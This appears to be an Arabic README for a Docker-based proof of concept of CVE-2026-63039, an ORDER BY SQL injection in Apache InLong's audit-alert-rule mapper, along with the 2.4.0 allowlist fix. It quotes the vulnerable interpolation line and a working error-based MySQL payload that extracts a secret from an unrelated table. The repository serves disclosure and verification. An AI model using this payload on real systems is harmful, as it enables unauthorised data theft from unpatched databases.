
إثبات مفهوم لـ CVE-2026-63039، يوضح حقن SQL من نوع ORDER BY في AuditAlertRule الخاص بـ Apache InLong عبر orderField/orderType، مع أداة إعادة إنتاج قائمة على Docker والتحقق من الإصلاح.
AuditAlertRule: حقن SQL عبر ORDER BYمُعيد إنتاج (reproducer) قابل للتشغيل لإثبات المفهوم (PoC) لثغرة حقن SQL في استعلام audit-alert-rule في Apache InLong.
يقوم مُخطِّط InLong manager، AuditAlertRuleEntityMapper.selectByCondition، بالتصفية باستخدام معاملات MyBatis الآمنة #{}، لكنه يرتّب عبر استيفاء نصي ${} لحقلين من حقول الطلب:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
يأتي orderField و orderType من الطلب المُقسَّم إلى صفحات (AuditAlertRulePageRequest)، وبالتالي يكونان تحت سيطرة المهاجم ويُدمجان حرفيًا في استعلام SQL — مما يؤدي إلى حقن SQL في جملة ORDER BY (CWE-89). يحقن هذا الـ PoC حمولة MySQL قائمة على الأخطاء (error-based) في orderField ويقرأ سرًا من جدول غير مرتبط، مما يوضح كشفًا تعسفيًا للبيانات.
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
المخرجات المتوقعة على مسار الكود المعرّض للثغرة:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
يقوم Apache InLong 2.4.0 بالتحقق من orderField / orderType مقابل قائمة سماح (allowlist) من الأعمدة والاتجاهات القابلة للفرز المعروفة قبل وصولها إلى الـ mapper (لا يمكن ربط اسم عمود ORDER BY كمعامل #{}، لذلك يجب التحقق من مدخلات الفرز بدلاً من معاملتها كمعاملات).
إنّ الـ MyBatis mapper والكيان (entity) وpojo الطلب في هذا المستودع تعكس النسخ الأصلية من InLong بحيث يُعاد إنتاج موضع الحقن (order by ${request.orderField} ${request.orderType}) حرفيًا.
تم نشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache InLong على فهم الثغرة، والتحقق مما إذا كانوا متأثرين بها، والتأكد من أن الترقية تحلّها. تقرأ الحمولة سرًا تجريبيًا فقط من جدول محلي. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.
| الخاصية | القيمة |
|---|
| المشروع | Apache InLong — manager (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| التصنيف | CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
| متجه الهجوم | حقلا orderField / orderType في طلب صفحة audit-alert-rule |
| الأثر | تنفيذ SQL تعسفي / كشف بيانات ضد قاعدة بيانات InLong manager |
| الإصدارات المتأثرة | من 2.0.0 حتى ما قبل 2.4.0 |
| الإصدار المُصلَح | 2.4.0 |
| النشرة الأمنية | CVE-2026-63039 |
| الفضل | Andrea Cosentino |